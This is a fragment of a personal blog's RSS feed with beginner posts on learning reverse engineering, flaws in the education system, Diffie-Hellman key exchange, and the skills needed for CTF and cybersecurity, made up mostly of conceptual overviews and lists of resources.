            <content:encoded><![CDATA[<p>I’d start off this post with a small story about a massive ransomware attack that caused worldwide mayhem in May 2017. Heres how the story goes, Imagine you’re working in a hospital in UK and one day you saw the infamous wannacry logo on screen saying that all your files are encrypted and for getting them back, you need to pay a ransom otherwise all your files are gone and you can’t just decrypt it because they use sophisticated RSA encryption algorithm, you can’t decrypt it using normal computers, so there’s no point. So now all the files are at stake and you can’t access patients records, I know this is worse than getting robbed in broad day light except this is happened over the internet.</p><p>Heres the whole breakdown of wannacry if you wanna see: <a href="https://www.youtube.com/playlist?list=PLniOzp3l9V83Yf52IXJTvW9rjstdqkduP">https://www.youtube.com/playlist?list=PLniOzp3l9V83Yf52IXJTvW9rjstdqkduP</a></p><p>Though the ransomware attack itself didn’t stopped but some maverick found a kill switch in the code after “reverse engineering” it and registered a domain, effectively halting the entire ransomware operation.</p><p>Perhaps stories like this sounds fascinating, even i got fascinated with hearing how security researchers are always one step ahead of bad guys. And always come out as heros. This is just one example, there are countless instances where law enforcement hunt down big ransomware members of groups like REvil, Gameoverzeus, Sandworm, NotPetya, LockBit I can honestly go on and on the list is endless were arrested and brought to justice. <br><a href="https://www.bleepingcomputer.com/news/security/russia-arrests-revil-ransomware-gang-members-seize-66-million/">https://www.bleepingcomputer.com/news/security/russia-arrests-revil-ransomware-gang-members-seize-66-million/</a></p><p><a href="https://thehackernews.com/2022/11/fbi-wanted-leader-of-notorious-zeus.html">FBI-Wanted Leader of the Notorious Zeus Botnet Gang Arrested in Geneva</a></p><p>As much as these stories fascinate me, it also encourage me to learn how to stop these cyber attacks, and how to make this world safe by bad guys who want nothing but money and power and cause disruption. So the best way to learn how a malicious actor makes a virus (let’s say) we’ve to reverse engineer it, as we know we don’t have access to source code, we’ll only have access to binary or executable and that’s all the thing that we need to work with and put together pieces and identity the weaknesses to stop an intrusion or at least mitigate it.</p><p>So to get started in reverse engineering, you need to be good at C and assembly, why C, as you might ask, it is because C is the system-level programming language and is widely used to write malicious software so that’s why, although there are other languages that can cause similar effects here we gonna stick with C. And why assembly? As you might know, assembly is the higher level abstraction of machine code that a human can read, and it’s what we gonna see in disassemblers a lot, I know it makes no sense here but as we go ahead it will. So stick with me.</p><p>So in my experience, the best way to understand programs is to simply get the binary of it, without source code, and use some disassembler to disassemble it you can use any disassembler you want but in my experience, it’s better to get comfortable with one, and explore others, no disassembler is better than other, each one has its own pros and cons. <br>Here&#39;s a list of disassemblers you might wanna try.</p><ul><li><a href="https://hex-rays.com/ida-free/">IDA Free</a></li><li><a href="https://hex-rays.com/ida-pro/">IDA Pro</a></li><li><a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a></li><li><a href="https://www.hopperapp.com/">Hopper</a></li><li><a href="https://github.com/x64dbg/x64dbg">x64dbg</a></li><li><a href="https://www.ollydbg.de/">OllyDbg</a></li><li><a href="https://github.com/radareorg/radare2">Radare2</a></li><li><a href="https://binary.ninja/">Binary Ninja</a></li><li>GDB: This is a debugger and used to debug C programs and not to as efficient as disassemblers and less powerful.</li></ul><p>When I started, I used ghidra and ida free version and used it for extensive period of time then jumped on radare2, x64dgb, hopper and binary ninja. If you’ve 0 experience, I’d recommend try this playlist on ghidra, you’ll know how it works.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fvideoseries%3Flist%3DPL_JKCGyA4ciZ20Vfqm75J23MJw86BIgew&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fplaylist%3Flist%3DPL_JKCGyA4ciZ20Vfqm75J23MJw86BIgew&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FbqkfQDwDiDI%2Fhqdefault.jpg%3Fsqp%3D-oaymwEWCKgBEF5IWvKriqkDCQgBFQAAiEIYAQ%3D%3D%26rs%3DAOn4CLD67zdFMhwy0fC3CMONrBFgPNN5zQ%26days_since_epoch%3D19626&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="853" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a9d1051a8a4d4d5909410a1f6934b6a/href">https://medium.com/media/3a9d1051a8a4d4d5909410a1f6934b6a/href</a></iframe><p>Another thing to mention, you can make your own program and compile it and get the binary and load that in gdb to see the assembly code and set breakpoints and crack basic things, it’s a debugger so you can imagine it doesn’t have many features as “disassemblers” have.</p><p>So, in the reverse engineering community, we use something called crackmes, these are challenges made by security professionals to educate newbies and there are several sites that offer crackmes, the ones that I find the most useful are:</p><ul><li><a href="https://pwn.college/login?next=%2F%3F">https://pwn.college/</a></li><li><a href="https://pwnable.tw/challenge/">https://pwnable.tw/challenge/</a></li><li><a href="http://pwnable.kr/play.php">http://pwnable.kr/play.php</a></li><li><a href="https://crackmes.one/">https://crackmes.one/</a></li><li><a href="https://challenges.re/">https://challenges.re/</a></li><li><a href="https://overthewire.org/wargames/vortex/vortex0.html">https://overthewire.org/wargames/vortex/vortex0.html</a></li><li>h<a href="https://www.smashthestack.org/">ttps://www.smashthestack.org/</a></li><li><a href="https://exploit.education/protostar/">https://exploit.education/protostar/</a></li><li><a href="https://ropemporium.com/">https://ropemporium.com/</a></li></ul><p>Don’t get confused by looking at this, you can start off with crackmes.one and solve these ones (I’ve made a list of beginners level crackmes), If you’re confused you can always look for solutions on these 2 websites, they’re pretty good.</p><ul><li><a href="https://johannesbader.ch/projects/solutions-to-crackmes/">https://johannesbader.ch/projects/solutions-to-crackmes/</a></li><li><a href="https://tuts4you.com/download.php?list.61">https://tuts4you.com/download.php?list.61</a></li></ul><p>Apart from all these if you want to read books about reverse engineering, my recommadation would be</p><ul><li>Reversing: Secrets of Reverse Engineering</li><li>Practical Malware Analysis</li><li>The Ghidra Book: The Definitive Guide</li></ul><p>There are many but these are the ones I can think of for now and they’re pretty good in my opinion. And there are free courses too by Opensecuritytraining you can find them here <a href="https://opensecuritytraining.info/IntroX86.html">https://opensecuritytraining.info/IntroX86.html</a>.</p><h3><strong>Summing up:</strong></h3><p>If I say you’d become professional reverse engineer by just doing these courses, i’d be lying to you, reverse engineering and malware analysis is a big thing, you can’t become professional by just following courses, it requires years and years of practice and passing obsticles to become pro in this. The things that I’ve covered here is just tip of the iceburg. and as you know each architecture have their own assembly and own set of instructions, so you can imagine, a human can’t learn literally all architectures. But anyways, Learn what you need and what you find interesting. In upcoming posts I’ll solve some crackmes so stay tuned.</p><p>Anyways, thanks a lot for reading my blog, I hope y’all have a great day, happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa265916cfa3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why is today’s Education System so trash and flawed?]]></title>
            <link>https://medium.com/@anirudhataliyan/why-modern-education-system-is-kinda-trash-8384703335a3?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8384703335a3</guid>
            <category><![CDATA[education-system]]></category>
            <category><![CDATA[school-management-system]]></category>
            <category><![CDATA[system]]></category>
            <category><![CDATA[flaws]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Sun, 22 Aug 2021 14:20:20 GMT</pubDate>
            <atom:updated>2021-08-22T14:27:54.800Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re reading this, you probably already realized that the schooling system is kinda trash and not applicable in today’s age, So in this article, I’m gonna share some most apparent flaws in the education system also what exactly is wrong, So first of all, in school, you’re awarded for exactly what you’re told, this is because the school system hasn’t changed since the industrial revolution, which is necessary in factory back then, as a result, schools kills creative thinking, questioning, and alternative thoughts.</p><p>The second problem is that 98% of what you taught in school is useless and the education system works on the principle of “do and discard” where a child isn’t supposed to remember anything they learned from the class after exams. And that’s really just the extent of any “learning” one gets from school — -to push yourself to complete a set of tasks you don’t want to as soon as you can so you can go back to your life. There’s almost no focus on actually nourishing the individual skills and talents of the children — it just pushes them to complete objectives by rote learning and forget about them totally afterward. As a result, there’s no scope for self-development in children in a system like that, no scope for critical thinking, and no scope for actually learning about the world. Hell yeah, I learned more about things from Doraemon than from my first school. Of course, some select few schools make up for it by adding an inclusive, educational set of extracurricular activities for children, but those are only a few costly private schools.</p><p>Third, there’s no flexibility, in real world, you usually manage your own time but in school, you’re put on a tight schedule and everyone is subjected to learn the same thing, and students are held to the same standard even though they are different.</p><p>Lastly, The way you learn in school is flawed too, you memorize material just to forget about it later. Despite the fact that all these flaws are apparent and no one does anything about that and that’s because the school system does what it’s supposed to do. It kills creativity and critical thinking and forces you into thinking the only way to make living is through tedious nine-to-five.</p><p>Edit: I found a petition called, “Change in Education System of India !”, I highly recommend you to sign this petition.</p><p><a href="https://www.change.org/p/government-of-india-change-in-education-system-of-india">https://www.change.org/p/government-of-india-change-in-education-system-of-india</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8384703335a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Diffie — Hellman key exchange algorithm? and How it works? — in easy words]]></title>
            <link>https://medium.com/@anirudhataliyan/what-is-diffie-hellman-key-exchange-algorithm-and-how-it-works-in-easy-words-6a8503c97d95?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a8503c97d95</guid>
            <category><![CDATA[diffie-hellman]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[key-exchange]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Fri, 23 Jul 2021 16:45:22 GMT</pubDate>
            <atom:updated>2021-07-23T16:45:22.031Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Diffie — Hellman key exchange algorithm? and How it works? — in easy words</h3><p>Diffie-Hellman Key Exchange Algorithm or Key agreement algorithm is used to generate the same (symmetric) private cryptographic key at both sender or receiver to securely communicate. It was developed by <strong>Whitfield Diffie and Martin Hellman</strong> in 1976 and later it was modified/improved by Government Communications Headquarters, commonly known as GCHQ in the United Kingdom, and kept classified.</p><p><strong>How Diffie-Hellman Key Exchange Algorithm works?</strong></p><p>For the sake of simplicity, let’s consider an analogy here, Let’s assume that Alice and Bob want to communicate securely on the internet.</p><ol><li>They both have a private key and they must need to agree on two prime numbers N and X, Where N&gt;X. And both these numbers are publically visible. <strong>Note: N can’t be too large because it would reduce the speed and can’t be too small because it would be easy to brute force N and X to eventually get Alice’s private key “A”.</strong></li><li>Alice takes X from the public and raises it by its <strong>secret</strong> key/number A. i.e. <strong>(Xᴬ)mod N.</strong></li><li>Similarly, Bob takes X from the public and raises it by its <strong>secret</strong> key/number A. i.e. <strong>(Xᴮ)mod N.</strong></li><li>Then, they both share these newly created keys, and Alice raised the whole Bob’s newly created key by its private key A. i.e. <strong>(Xᴮ)ᴬmod N.</strong></li><li>Consequently, Bob’s do the same with Alice’s newly created Key. <strong>(Xᴬ)ᴮmod N.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*rkLEkmWSOhxSTIcSbmRmiA.png" /><figcaption><strong>Ignore my Drawing Skills LOL</strong></figcaption></figure><p>6. A simple power multiplication rule of mathematics states that “Powers can be multiplied and it won’t bother the end result”. And this same thing will happen in Alice and Bob’s scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*_HgBk05es_-mQ-gEexUo2g.png" /></figure><p>7. Now the final key created at Alice’s side is <strong>Xᴬᴮmod N. </strong>And that of Bob is <strong>Xᴬᴮmod N</strong>.</p><p>8. Notice that both keys are exactly the same, Now we’re done here, Now Alice and Bob can communicate easily by encrypting the messages with this same private key.</p><h3>Summing Up:</h3><p>I hope you get a basic idea of How Diffie — Hellman key exchange algorithm works. However, you can read more from Wikipedia in Details.</p><p><a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Hellman key exchange - Wikipedia</a></p><p>Anyways, Thanks for reading, If you have any suggestions, do let me know in the comments.</p><p>Have a beautiful day! Peace Out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a8503c97d95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What skills do you need to get started in CTF and/or cybersecurity? —  A Beginner’s POV]]></title>
            <link>https://medium.com/@anirudhataliyan/what-skills-do-you-need-to-get-started-in-ctf-and-or-cybersecurity-a-beginners-pov-f7d04002fd4b?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7d04002fd4b</guid>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Wed, 21 Jul 2021 18:22:58 GMT</pubDate>
            <atom:updated>2021-09-02T08:37:00.584Z</atom:updated>
            <content:encoded><![CDATA[<h3>What skills do you need to get started in CTF and/or cybersecurity? — A <strong>Beginner’s POV</strong></h3><p>Playing and solving CTF challenges might be the best way to get started in cybersecurity/hacking. Learning through solving hand-on experience is the coolest and efficient way to learn things especially in the cybersecurity field, Finding and fixing things by experiencing them in real-life situations is a far better way to understand how things work rather than a theoretical approach. As Albert Einstein said, “The only source of knowledge is experiences”.</p><blockquote>In this article, I’m going to explain what are the essential beforehand skills required to get started in CTF and eventually get a currier in the cybersecurity field.</blockquote><p>So the first question that came to one’s mind is:</p><p><strong>What exactly is CTF in cybersecurity?</strong></p><blockquote>In easy words, CTF is a kind of game where the player/team has given an IP address or website and their goal is to find a particular piece of text also known as FLAG present on that server or somewhere on the webpage. The real goal of CTF challenges is to give a real-world view of security vulnerabilities by simulating them virtually. CTF challanges can be both team and solo.Also called, Jeopardy and Attack-Defence CTF respectively.</blockquote><p>Read more:</p><p><a href="https://ctf101.org/">https://ctf101.org/</a></p><p>Now after knowing the definition of CTF let us get an insight into the most common <strong>Types of CTF:</strong></p><ol><li>Programming</li><li>Cryptography</li><li>Forensics</li><li>Web Security</li><li>Exploitation (Binary, networking, memory corruption, software, etc)</li><li>Reverse Engineering</li><li>Information gathering</li></ol><p>So now the main question arises, “<strong>What prerequisite</strong> <strong>skills are required to solve CTFs?”</strong></p><blockquote>In order to be successful in playing/solving<strong> Capture The Flag (CTF)</strong> competitions, there are certain skills that you are expected to already have hands-on. These prerequisites skills are Programming, Networking, Linux-distro Basics, Windows basics, Cryptography, Exploitation, Digital forensics, and Reverse engineering. Bear with me, I’ll explain them one by one.</blockquote><h3><strong>Programming:</strong></h3><p>&gt; Programming is the first and foremost most important skill that’s required to solve CTF, it’s used in creating and understanding various exploits and can be used to automate things instead of doing manually, As a beginner, you must have a basic understanding of <strong>how to read syntax/program, Understand how a program works and also you must know how to reverse engineer a program.</strong></p><p>Now the main question arises, Which programming language should I learn as a beginner? There’re many programming languages out there and the one that I would recommend is <strong>Python</strong>. Why? Because it has many implications in cybersecurity like malware analysis, penetration testing, scanning, analyzing cyber threats, and so on and so forth. Almost all the tools available in Kali Linux are written with <strong>Python. </strong>Thus every pentester is expected to know Python basics. Not only that but python is installed by default on Linux OS so when gaining RCE (remote code execution) Python should be your go-to. Also, Python is a rising programming language. Thus, I’d recommend learning the basics of Python at least then maybe go for advance or any other.</p><p>Resources to learn Python:</p><ul><li><a href="https://www.learnpython.org/">Learn Python - Free Interactive Python Tutorial</a></li><li><a href="https://www.w3schools.com/python/">Python Tutorial</a></li></ul><h3><strong>Linux Distributions:</strong></h3><p>As a pentester, you need to have an understanding of Linux Distribution and also experience with terminal and CLI (command-line interface) environments. Also, Linux comes with many advantages as open-source code, high customization, and the availability of lots of community support.</p><p>In Linux, there’re many types of variations of Distros. As we’re looking for a pen-testing aspect, OS like Kali Linux and Parrot Security are widely used.</p><p>You can download them from the following links:</p><ul><li><a href="https://www.kali.org/">Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution</a></li><li><a href="https://www.parrotsec.org/">Parrot Security</a></li></ul><p><strong>Note: Don’t Install them as your default OS if you have no experience with Installing Linux, I’d recommend first use it in a virtual environment like VMware or Virtualbox. Read more:</strong></p><p><a href="https://itsfoss.com/install-linux-in-virtualbox/">How to Install Ubuntu Linux on VirtualBox on Windows 10</a></p><h3><strong>Cryptography:</strong></h3><p>For cryptography, You need to have a basic idea behind the Fundamentals of cryptography like Hash functions, Symmetric-key algorithms, Asymmetric-key algorithms, Symmetric-Key Algorithms for Encryption/Decryption, etc you have to decipher texts and encrypt/decrypt texts and you need to have a good understanding of salting (passwords). For resources, I would recommend reading “Serious Cryptography: A Practical Introduction to Modern Encryption” by Jean-Philippe Aumasson.</p><p><strong>Note: It isn’t mandatory to learn everything about cryptography (as a beginner), but you must have a basic idea of how things work.</strong></p><p>Additional resources:</p><ul><li><a href="https://www.coursera.org/learn/crypto">Cryptography I</a></li><li><a href="https://crypto.stanford.edu/~dabo/courses/OnlineCrypto/">Online Cryptography Course</a></li></ul><h3><strong>Exploitation Techniques:</strong></h3><p><strong>Exploitation:</strong> A process of gaining unauthorized access by exploiting a software vulnerability or security flaw that’s present in the system/application by using a chunk of data or sequence of code.</p><p>Exploits can be of various types such as binary exploitation, Web exploitation, Network exploitation, Software exploitation, etc</p><p><strong>Binary exploitation:</strong> Commonly known as memory corruption, it’s the process of exploiting a compiled application such that it violates some trust boundary and gives you root access in a way that is advantageous to you, the attacker.</p><p><strong>Web-Based Exploitation: </strong>In web-based exploitations, there’re many methods to exploit a web server. The commonly known are Cross-Site Scripting, Code Injections such as SQL Injections, CSRF attacks, XML External Entities (XEE), etc. I recommend checking out <strong>OWASP Top 10 </strong>to learn more about them.</p><p><a href="https://owasp.org/www-project-top-ten/">OWASP Top Ten Web Application Security Risks | OWASP Foundation</a></p><p><strong>Network-Based Exploitation: </strong>These are the types of Attacks used against the big organizations in an attempt to get unauthorized access or to infect their system with worms or to force their system to malfunction. Common types of Network-Based attacks are DDoS attacks, SQL injections, Buffer overflow, self-propagating virus, malware, spyware, worms, etc.</p><p>Read More:</p><p><a href="https://purplesec.us/common-network-vulnerabilities/">What Are The Common Types Of Network Vulnerabilities?</a></p><h3>Digital Forensics:</h3><p>Digital Forensics: A process of identifying, processing, and analyzing <strong>computer-related data </strong>in order to find bugs/issues or network flaws.</p><p>To learn forensics you need to learn how to find certain types of files, how to extract hidden information from a file. For instance, extracting data from an image using a tool called <strong>steghide, </strong>this’s also known as steganography.</p><p>Read More:</p><p><a href="https://searchsecurity.techtarget.com/definition/computer-forensics">https://searchsecurity.techtarget.com/definition/computer-forensics</a></p><h3><strong>Summing Up:</strong></h3><p>So these are the basic skills that you need to have in order to be competitive in CTF challenges and eventually get into cybersecurity. The platforms that I recommend to start with are:</p><ol><li>Tryhackme: <a href="https://tryhackme.com/">https://tryhackme.com/</a></li><li>HacktheBox: <a href="https://hackthebox.eu/">https://hackthebox.eu/</a></li><li>OvertheWire: <a href="https://overthewire.org/wargames/">https://overthewire.org/wargames/</a></li></ol><p>If you have any suggestions, do let me know in the comments.</p><p>Have a beautiful day! Peace Out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7d04002fd4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>